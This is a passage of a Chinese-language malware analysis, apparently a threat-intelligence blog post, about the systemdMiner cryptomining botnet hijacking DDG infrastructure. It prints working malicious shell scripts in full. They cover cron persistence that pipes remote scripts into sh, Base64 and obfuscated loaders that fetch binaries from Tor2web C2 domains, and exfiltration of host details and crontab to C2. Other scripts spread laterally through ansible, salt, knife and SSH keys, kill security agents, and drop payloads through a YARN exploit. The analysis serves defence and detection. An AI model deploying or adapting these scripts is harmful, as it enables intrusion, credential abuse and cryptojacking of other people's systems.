/root/.systemd-login Timeout:600s} {Id:701 Version:3022 Line:crontab -r Timeout:600s} {Id:708 Version:3022 Line:echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com\n0.0.0.0 tor2web.io\n0.0.0.0 gitee.com\n0.0.0.0 w.21-3n.xyz\n0.0.0.0 w.3ei.xyz\n0.0.0.0 aptgetgxqs3secda.onion.ly\n0.0.0.0 aptgetgxqs3secda.onion.pet\n0.0.0.0 aptgetgxqs3secda.tor2web.fyi\n0.0.0.0 aptgetgxqs3secda.onion.in.net\n0.0.0.0 rapid7cpfqnwxodo.tor2web.fyi\n0.0.0.0 rapid7cpfqnwxodo.onion.in.net\n0.0.0.0 rapid7cpfqnwxodo.onion.ly\n0.0.0.0 rapid7cpfqnwxodo.onion.pet\n" >> /etc/hosts Timeout:600s} {Id:709 Version:-1 Line:rm -f /tmp/systemd /tmp/.systemd-login /tmp/.systemd-analyze /lib/systemd/systemd-login ~/.systemd-login Timeout:600s}] Killer:[{_msgpack:{} Id:606 Version:3020 Expr:/tmp/ddgs.(3011|3012|3013|3014|3015|3016|3017|3018) Timeout:60s}] LKProc:[]}}
</code></pre><p>最后下发的 i.sh 脚本：</p><pre><code>export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/15 * * * * (curl -fsSL http://119.9.106.27:8000/i.sh||wget -q -O- http://119.9.106.27:8000/i.sh) | sh" | crontab -
echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep betsbce || rm -rf betsbce
if [ ! -f "betsbce" ]; then
curl -fsSL http://119.9.106.27:8000/static/3022/ddgs.$(uname -m) -o betsbce
fi
chmod +x betsbce
$(pwd)/betsbce || /usr/bin/betsbce || /usr/libexec/betsbce || /usr/local/bin/betsbce || betsbce || ./betsbce || /tmp/betsbce
ps auxf | grep -v grep | grep betsbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep betsbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep betsbcd | awk '{print $2}' | xargs kill -9
echo ZXhlYyAmPi9kZXYvbnVsbApzZWQgLWkgJy9yYXBpZC9kJyAvZXRjL2hvc3RzCnNlZCAtaSAnL2FwdGdlL2QnIC9ldGMvaG9zdHMKCmQoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luLWRkZwogICAgeT0vdG1wLy5zeXN0ZW1kLWxvZ2luCiAgICB3Z2V0IC1xVS0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSR4IC1PJHkgfHwgY3VybCAtZnNTTGtBLSAkMSR4IC1vJHkKICAgIGNobW9kICt4ICR5OyR5CiAgICBzbGVlcCA1Cn0KCmlmICEgcHMgLXAgJChjYXQgL3RtcC8uWDFNLXVuaXgpOyB0aGVuCiAgICBkIGFwdGdldGd4cXMzc2VjZGEub25pb24ubHkKZmkKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGQgYXB0Z2V0Z3hxczNzZWNkYS5vbmlvbi5wZXQKZmkKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGQgYXB0Z2V0Z3hxczNzZWNkYS50b3Iyd2ViLmZ5aSB8fCBkIGFwdGdldGd4cXMzc2VjZGEub25pb24uaW4ubmV0CmZpCgo=|base64 -d|bash
</code></pre><p>其实类似上述 i.sh 的 Shell 脚本文件在 4.19 日凌晨下发了多个，它们的主要区别是最后下载的 ddgs 样本另存为的文件名不同。注意 i.sh 脚本最后一段 Base64 编码过的字串，解码后是另外一段独立的 Shell 脚本：</p><pre><code>exec &>/dev/null
sed -i '/rapid/d' /etc/hosts
sed -i '/aptge/d' /etc/hosts
d() {
x=/systemd-login-ddg
y=/tmp/.systemd-login
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
sleep 5
}
if ! ps -p $(cat /tmp/.X1M-unix); then
d aptgetgxqs3secda.onion.ly
fi
if ! ps -p $(cat /tmp/.X1M-unix); then
d aptgetgxqs3secda.onion.pet
fi
if ! ps -p $(cat /tmp/.X1M-unix); then
d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net
fi
</code></pre><p>这段 Shell 脚本，首先检查 <code>/tmp/.X1M-unix</code> 文件里的进程号对应的进程是否存活，文件不存在或者进程不存活则尝试通过以下 URL 下载 <strong>systemd-login-ddg</strong> 文件并执行：</p><pre><code>aptgetgxqs3secda.onion.ly/systemd-login-ddg
aptgetgxqs3secda.onion.pet/systemd-login-ddg
aptgetgxqs3secda.tor2web.fyi/systemd-login-ddg
aptgetgxqs3secda.onion.in.net/systemd-login-ddg
</code></pre><p>除此之外， i.sh 脚本中，以前 DDG 样本的下载 URL <code>http://119.9.106.27:8000/static/3022/ddgs.$(uname -m)</code> 下到的文件也被替换成 <strong>systemdMiner</strong> 相关的恶意程序。</p><p>这样一来，就可以通过 DDG 的这一波更新，下发 3 个 <strong>systemdMiner</strong> 的恶意程序：</p><ol><li>systemd-login-ddg</li><li>ddgs.i686</li><li>ddgs.x86_64</li></ol><h2 id="3-systemdminer-"><strong>3. systemdMiner 系列样本分析</strong></h2><h3 id="3-1-systemd-login-ddg"><strong>3.1 systemd-login-ddg</strong></h3><p><strong>systemd-login-ddg</strong> 是 <strong>systemdMiner</strong> 团伙通过 DDG 的网络基础设施下发的一个最主要的恶意程序，另外两个同时下发的 <strong>ddgs.i686</strong> 和 <strong>ddsg.x86_64</strong> 都是 <strong>systemd-login-ddg</strong> 的变种。顺着 <strong>systemd-login-ddg</strong> 的执行，后续还会涉及两个恶意程序，都是 <strong>systemd-login-ddg</strong> 的变种，区别在于部分 C2 Domain 设定不同，这些同类恶意程序有：</p><ul><li>systemd-login</li><li>systemd-login-h</li></ul><p><strong>systemdMiner</strong> 相关的所有二进制样本，都由 <a href="https://www.musl-libc.org/">musl-libc</a> 编译而成。并且都用变形的 UPX 加了壳，壳代码改动很多，变形 UPX 壳的 Magic Number 为 <strong>0x7373622E</strong>(ASCII String: <strong><code>.bss</code></strong> ) ：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/04/packer.png" class="kg-image" alt loading="lazy" title="packer"></figure><p>脱壳后，恶意程序在刚开始就会检查 <strong>LD_PRELOAD</strong> 和 <strong>PTRACE_TRACEME</strong> ，用来对抗针对性地调试和沙箱：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/04/anti_analysis.png" class="kg-image" alt loading="lazy"></figure><p>然后，<strong>systemd-login-ddg</strong> 会删除自身文件，创建守护进程并把进程号写入 <code>/tmp/.X1M-unix</code> 文件，进程名为 <strong><code>-bash</code></strong>：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/04/create_daemon.png" class="kg-image" alt loading="lazy"></figure><p>接下来，<strong>systemd-login-ddg</strong> 会把下面的脚本保存到 <code>/tmp/systemd</code> 文件中：</p><pre><code>#!/bin/bash
exec &>/dev/null
{echo,ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4Kc2xlZXAgJCgoUkFORE9NICUgNjAwKSkKKHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgd2dldCAtcVUtIC1PLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0L2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLm9uaW9uLmluLm5ldC9jcm9uLnNoICl8YmFzaAo=}|{base64,-d}|bash
</code></pre><p>上述脚本中的编码字串解码后如下：</p><pre><code>exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
sleep $((RANDOM % 600))
(wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.tor2web.fyi/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.tor2web.fyi/cron.sh || wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.onion.in.net/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.onion.in.net/cron.sh )|bash
</code></pre><p>如果当前用户是 <strong>root</strong> ，样本还会探测 <code>/lib/systemd/</code> 目录，并执行命令 <code>cp -f /tmp/systemd /lib/systemd/systemd-login</code>，用于开机启动。</p><p>然后，执行命令 <code>mv -f /tmp/systemd ~/.systemd-login</code> 把 <strong>systemd</strong> 文件移动到用户主目录并隐藏。</p><p>上面用来开机启动执行的脚本文件 <code>/lib/systemd/systemd-login</code> ，会从 C2 服务器下载 <strong>cron.sh</strong> 文件并执行。<strong>cron.sh</strong> 是经过高度混淆的 Shell 脚本，原始内容如下：</p><pre><code>"${@%4}"$'\145v'${*%%5}al "$(rK=(\& \ ${*,,} l H \|${*//t5/&W} h n"${@//ar}" s \+${*##\(%} \!${!*} M${*^^} \. c 1${*##o} T 3"${@~~}" a${*~} w"${@%9Q}" g q \-${*#uo} \(${*,} \=${*##+C} \; O${*%JK} U"${@~}" 2$* \<${*%%3} y \} \:${@//_o/F} u e"${@}" r \/ L \{ o i k S"${@//Ao/W}" m f${@/s\`/\]} v${@%0$} A $'\xa'${*/Xr/>} \$${*/&T} b t"${@^^}" P x \) X p${*/u} d \>)&&for JS in 32${*#mP} 50"${@%%L}" 32${*%%b} 12${@} 1 0 55 34${@/~f/-\\} 54 32 43 34${*/^\{/T} 6 31 2"${@//s/x}" 2${*,,} 45"${@,,}" 32${*%E} 50 53${*//;\]/O} 37 33 48 1 49${*~} 44 14 3 22 46 49 44 14"${@,}" 3 30 34 47${@##+H} 38${*/j\!} 6 30 34${*%Oe} 7 47 38 6${*/P\}/\)s} 30${@%%DG} 34"${@%%J7}" 31$@ 7 33 34 47 38 6${*##Iq} 30 34${@} 31"${@%Z}" 7${*%G6} 33"${@}" 34 7${@^} 47 38 6${@%h} 30 34 31${@##fO} 7${*##R} 33 34 2${*~} 37"${@//q?}" 12 16 2${@//K/EH} 34 47${*//./_\}} 38 6 30 34 31 7${*^} 33$* 34"${@,}" 2${*~~} 37"${@/-/=}" 12${*~~} 16 2 34 7 47 38 6${*} 45 45 54 21 51$@ 1 36"${@##qh}" 45"${@^}" 1"${@,,}" 1${@/^z/o} 1 1 50 22${*~~} 34"${@##\`}" 7 28"${@,}" 7${@//L*/i} 48 32${*,} 41 54 20 2${@~~} 37${*#DF} 18${@//CK/\`\"} 38 6 45${*#A4} 1${*~~} 1 1${*//9S/d} 1 28"${@~~}" 22 34${@^} 48${*^} 41${@^^} 53 34${*/Y\}} 7 28 7 48${*##\"<} 32${*%v} 41${*#0m} 54 45${*^^} 1 1 1 1 17 18 32 48"${@^}" 1 20${*/-G} 19 25 20 1 20"${@}" 20 6 37${*^^} 20${*##C} 12${@,} 5${*//<Y} 32 12 39${@^^} 20${*%|} 12 32 33${*~~} 48 38 42${*^} 38 12${@//#/ML} 16 48 32${*^} 1${@^^} 46 13${*~} 46 50${*/Rg} 1 20 24 46"${@,,}" 28 1 4 4${*%g8} 1$@ 12"${@%%%S}" 31"${@}" 33"${@##6^}" 2 1 20 42 7${*~~} 40 35${!*} 39 44${@//y} 20 1${*~~} 46 13 46 50${@%m} 1"${@##Zk}" 20"${@//;O}" 37 46 28 45${*%dG} 1${*##>} 1 1${*^} 1 12 5${@%%?} 41 37${*~} 54 1 8${*,} 50${*,} 1"${@%%V}" 46${*%h6} 28${*%h7} 23 46${*~} 28"${@^^}" 45 29${@//5/1} 45 45 38 42 1${*//z/\(G} 9${@} 1 53 7 1${*//NU/;*} 20 53${*//My/_y} 1 46 21 27${*/?h/Y6} 1 34 48 41${!@} 53 34 11"${@//?\(/9}" 52"${@//:3}" 13${*~~} 10 20 31"${@#o}" 6${@#U} 38 50 51 23 1${*} 48${*##kx} 5${*/_/zi} 32${*} 6 45${!@} 1${@~~} 1 1${*^^} 1 54 1 16$@ 53 48${*##6} 18${*//T/q} 32 48"${@/Tc/&F}" 18${*/Y} 50 19 7${!@} 15${@^} 7 32${*~} 12 54 16 11${*%%&W} 37${*//2/\}#} 6${*//\}^/F} 38 37 6${!@} 11 38${*,} 6${*,,} 11 6${*/NM/F} 32 48 1"${@##r}" 4 4${*^^} 1${*#3} 54${@^^} 1"${@}" 16 53 48 18 32${@/\}\}} 48 18"${@^}" 50"${@^}" 19${@##d%} 7${!@} 15 7"${@}" 32${*/ve} 12${!*} 54${@^} 16 11 37 6${*^^} 38 37 6 11${*%s} 7 5 1 4"${@%77}" 4 1 54${@} 1${@/Rm} 16${!*} 53${*%36} 48${*^} 18"${@~}" 32${*//,/P} 48 18 50${@##@} 19"${@%b}" 7 15 7 32${*^^} 12 54 16 11${*^^} 48 37"${@//Ca}" 33"${@~~}" 26${*//5} 17 32${@//So} 47 11 42${*~} 28 38"${@^^}" 1 4 4${*,} 1 54 1${@//k?} 16${@/\\} 53 48 18$@ 32${@#\\} 48 18${@/9} 50 19 7${*#\`c} 15 7 32 12${*^} 54${@%\]} 16 11 48 37"${@#V6}" 33"${@^^}" 26${*%%T} 17${*^^} 32 47${@/f7/p} 11${*#+H} 38${*,} 37${*%%wo} 45${*/<} 42 38 45"${@~~}";do pr${*//<}i$'\x6e'\tf %s "${rK[$JS]}""${@/#}";done;)"
</code></pre><p>解混淆后的真面目：</p><pre><code>exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
x=/systemd-login
y=/tmp/systemd
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
}
if ! ps -p $(< /tmp/.X1M-unix); then
d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.tor2web.io
fi
</code></pre><p>最后，<strong>systemd-login-ddg</strong> 会继续执行一系列经过 Base64 编码的 Shell 脚本。</p><h4 id="3-1-1-shell-c2-"><strong>3.1.1 Shell 脚本一：上报 C2，利用自动化运维工具传播</strong></h4><p>原始脚本经过 Base64 编码，解码后如下：</p><pre><code>exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
xssh() {
ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no $1@$2 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
}
s1() {
x=/slave
y=($(whoami)_$(uname -m)_$(uname -n)_$(crontab -l|base64 -w0))
wget -qU- -O- --no-check-certificate --referer=$y $1$x || curl -fsSLkA- -e$y $1$x
}
s2() {
x=/systemd-resolve
y=/tmp/systemd-resolve
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
}
s3() {
if [ -x $(command -v ansible) ]; then
ansible all -m shell -a 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
fi
if [ -x $(command -v salt) ]; then
salt '*' cmd.run 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
fi
if [ -x $(command -v knife) ]; then
knife ssh 'name:*' 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
fi
if [ -f $HOME/.ssh/id_rsa ] || [ -f $HOME/.ssh/id_dsa ] || [ -f $HOME/.ssh/id_ecdsa ] || [ -f $HOME/.ssh/id_ed25519 ]; then
hosts=$(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" ~/.bash_history /etc/hosts ~/.ssh/known_hosts |awk -F: {'print $2'}|sort|uniq ;awk {'print $1'} $HOME/.ssh/known_hosts|sort|uniq|grep -v =|sort|uniq)
for h in $hosts;do xssh root $h; xssh $USER $h & done
fi
}
s1 rapid7cpfqnwxodo.tor2web.fyi
s2 rapid7cpfqnwxodo.tor2web.fyi || s2 rapid7cpfqnwxodo.onion.in.net
s3
</code></pre><p>该脚本共有 3 个关键函数，作用分别是：</p><ol><li><strong>s1()</strong> : 向 <code>rapid7cpfqnwxodo.tor2web.fyi/slave</code> 上报失陷主机信息。把失陷主机的当前用户名、CPU 架构、主机名以及当前用户的 cron table 4 组信息，拼接接成一个字符串，经过 Base64 编码后，设置为 HTTP 请求的 <strong>referer</strong> vaule，以 HTTP GET 请求的方式发送到 C2；</li><li><strong>s2()</strong>: 从 C2 下载 <strong>systemd-resolve</strong> 文件并执行，<strong>system-resolve</strong> 集成了 YARN 未授权访问漏洞的 Exp，并以此传播；</li><li><strong>s3()</strong>: 利用 3 种 *nix 自动化运维工具 (ansible/salt/chef-knife) 和本机 SSH 密钥横向传播。横向传播用到的 Shell 脚本也经过了 Base64 编码，解码后如下：</li></ol><pre><code>exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
c() {
x=/systemd-login
y=/tmp/.systemd-login
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
sleep 4
}
if ! ps -p $(cat /tmp/.X1M-unix); then
c rapid7cpfqnwxodo.tor2web.fyi || c rapid7cpfqnwxodo.onion.in.net
fi</code></pre><h4 id="3-1-2-shell-cron-"><strong>3.1.2 Shell 脚本二：设定 cron 任务</strong></h4><p>原始脚本同样经过 Base64 编码，解码后如下：</p><pre><code>exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
c() {
if [ -x $(command -v crontab) ]; then
if [ $(crontab -l |grep REDIS00) ]; then
crontab -r
fi
if ((!EUID)); then
if [ ! -f "/etc/cron.d/systemd" ]; then
echo "0 * * * * root /lib/systemd/systemd-login" > /etc/cron.d/systemd
fi
if [ ! $(crontab -l |grep systemd-login) ]; then
(echo "0 * * * * ~/.systemd-login";crontab -l |sed '/wget/d'|sed '/curl/d')|crontab -
fi
else
if [ ! $(crontab -l |grep systemd-login) ]; then
(echo "0 * * * * ~/.systemd-login";crontab -l |sed '/wget/d'|sed '/curl/d')|crontab -
fi
fi
fi
}
c
</code></pre><p>该脚本的主要功能，是新建 cron 配置文件 <code>/etc/cron.d/systemd</code>，然后把 <strong>systemd-login-ddg</strong> 样本中落地的 <code>/lib/systemd/systemd-login</code> 脚本在该 cron 配置文件中设定 cron 任务。最后清除掉当前用户 cron table 中的 <strong>wget</strong> 和 <strong>curl</strong> 命令，以此清除竞争对手的计划任务。</p><h4 id="3-1-3-shell-"><strong>3.1.3 Shell 脚本三：杀掉竞争对手</strong></h4><p>原始脚本同样经过 Base64 编码，解码后如下：</p><pre><code>exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
pkill -9 -f "8220|aegis_|AliYunDun|AliHids|AliYunDunUpdate|aliyun-service|cr.sh|cryptonight|ddgs|fs-manager|hashfish|hwlh3wlh44lh|java-c|kerberods|kworkerds|kpsmouseds|kthrotlds|mewrs|miner|mr.sh|muhsti|mygit|orgfs|qW3xT|qwefdas|stratum|sustes|t00ls|thisxxs|/tmp/ddgs|/tmp/java|/tmp/udevs|/tmp/yarn|/usr/bin/netfs|watchbog|wipefs|wnTKYg|xig|xmr|zer0"
find ~/.ddg/*|xargs fuser -k;rm -rf ~/.ddg
find /etc/cron*|xargs chattr -i
find /var/spool/cron*|xargs chattr -i
grep -RE "(wget|curl)" /etc/cron.*|cut -f 1 -d :|xargs rm -f
grep -RE "(wget|curl)" /var/spool/cron*|cut -f 1 -d :|xargs sed -i '/wget\|curl/d'
rm -f /usr/sbin/aliyun* /usr/local/aegis* /usr/local/qcloud* /usr/local/bin/dns ~/.wget-hsts
</code></pre><p>该脚本的功能就是清除各种竞争对手。</p><h4 id="3-1-4-shell-"><strong>3.1.4 Shell 脚本四：下载矿机并执行</strong></h4><p>原始脚本经过 Base64 编码，解码后如下：</p><pre><code>exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
x=/systemd-analyze
y=/tmp/.systemd-analyze
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
sleep 6
}
if ! ps -p $(cat /tmp/.X11-lock); then
d rapid7cpfqnwxodo.tor2web.fyi || d rapid7cpfqnwxodo.onion.in.net
fi
</code></pre><p>此脚本会从 <code>rapid7cpfqnwxodo.tor2web.fyi</code> 或 <code>rapid7cpfqnwxodo.tor2web.fyi</code> 下载 <strong>systemd-analyze</strong> 文件并执行。<strong>systemd-analyze</strong> 正是基于 XMRig 改写的矿机程序。</p><h4 id="3-1-5-shell-shell-"><strong>3.1.5 Shell 脚本五：更新样本和恶意Shell脚本</strong></h4><p>原始脚本经过 Base64 编码，解码后如下：</p><pre><code>exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
x=/systemd-login
y=/tmp/.systemd-login
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
sleep 5
}
u() {
x=/systemd.sh
(wget -qU- -O- --no-check-certificate $1$x || curl -fsSLkA- $1$x)|bash
}
if [ -f /tmp/.systemd-update ]; then
kill -9 $(cat /tmp/.X1M-unix) && rm -f /tmp/.X1M-unix;rm -f /tmp/.systemd-update
d rapid7cpfqnwxodo.onion.in.net || d rapid7cpfqnwxodo.tor2web.fyi
fi
u rapid7cpfqnwxodo.onion.in.net || u rapid7cpfqnwxodo.tor2web.fyi
</code></pre><p><strong>systemd-login-ddg</strong> 会用此脚本检查样本更新标志文件 <code>/tmp/.systemd-update</code> ，据此来下载最新的 <strong>systemd-login</strong> 样本。随后会下载最新的恶意 Shell 脚本 <strong>systemd.sh</strong> 并执行。</p><p>接下来 <strong>systemd-login-ddg</strong> 还会执行第 6 个 Shell 脚本。第 6 个 Shell 脚本与第 5 个基本相同，不同点在于下载 <strong>systemd-login</strong> 样本的 C2 Domain 多了一个 <code>rapid7cpfqnwxodo.tor2web.io</code> 。</p><h3 id="3-2-systemd-resolve"><strong>3.2. systemd-resolve</strong></h3><p>前文说过，<strong>systemd-resolve</strong> 集成了 YARN 未授权访问漏洞的 Exp，并以此入侵其他主机横向传播。<strong>systemd-resolve</strong> 的加壳、对抗分析特性都与 <strong>systemd-login-ddg</strong> 相同，不同的是把自身的守护进程命名为 <strong>-rbash</strong> 。</p><p>该样本主要用于内网传播，针对 <code>172.16.0.0/12</code> 、<code>192.168.0.0/16</code> 和 <code>10.0.0.0/8</code> 网段。样本会先检查当前主机的 LAN_IP，是否属于上述三个内网网段：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/04/scan_yarn.png" class="kg-image" alt loading="lazy"></figure><p>如果当前主机的 LAN_IP 属于上述三个网段，样本就会批量探测上述网段各主机的 <strong>8088</strong> 端口：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/04/scan_yarn_pcap.png" class="kg-image" alt loading="lazy" title="scan_yarn_pcap"></figure><p>对于探测成功的目标主机，则利用以下 Payload 来传播自身：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/04/yarn_exp.png" class="kg-image" alt loading="lazy" title="yarn_exp"></figure><p>Payload 中的 Shell 脚本同样经过 Base64 编码，解码后如下：</p><pre><code>exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
x=/systemd-login-h
y=/tmp/systemd
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
}
if ! ps -p $(< /tmp/.X1M-unix); then
d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.io
fi
</code></pre><p>可以看到最终会在目标失陷主机中下载 <strong>systemd-login-h</strong> 并执行。这个 <strong>systemd-login-h</strong> 功能与上面分析过的 <strong>systemd-login-ddg</strong> 相同，此处不赘述。</p><h3 id="3-3-systemd-sh"><strong>3.3 systemd.sh</strong></h3><p>前文提到，<strong>systemd-login-ddg</strong> 在用来更新样本的第 5 个 Shell 脚本中，会下载 <strong>systemd.sh</strong> 并执行。在我们分析 <strong>systemdMiner</strong> 家族的早期，这个 <strong>systemd.sh</strong> 脚本没有实质性的内容：</p><pre><code>exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
</code></pre><p>大概在 2019.4.23 中午，背后的攻击者才把 <strong>systemd.sh</strong> 正式上线，最新的 <strong>systemd.sh</strong> 的内容：</p><pre><code>exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
x=/systemd-analyze
y=/tmp/.systemd-analyze
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
sleep 6
}
if ! ps -p $(cat /tmp/.X11-lock); then
d rapid7cpfqnwxodo.d2web.org
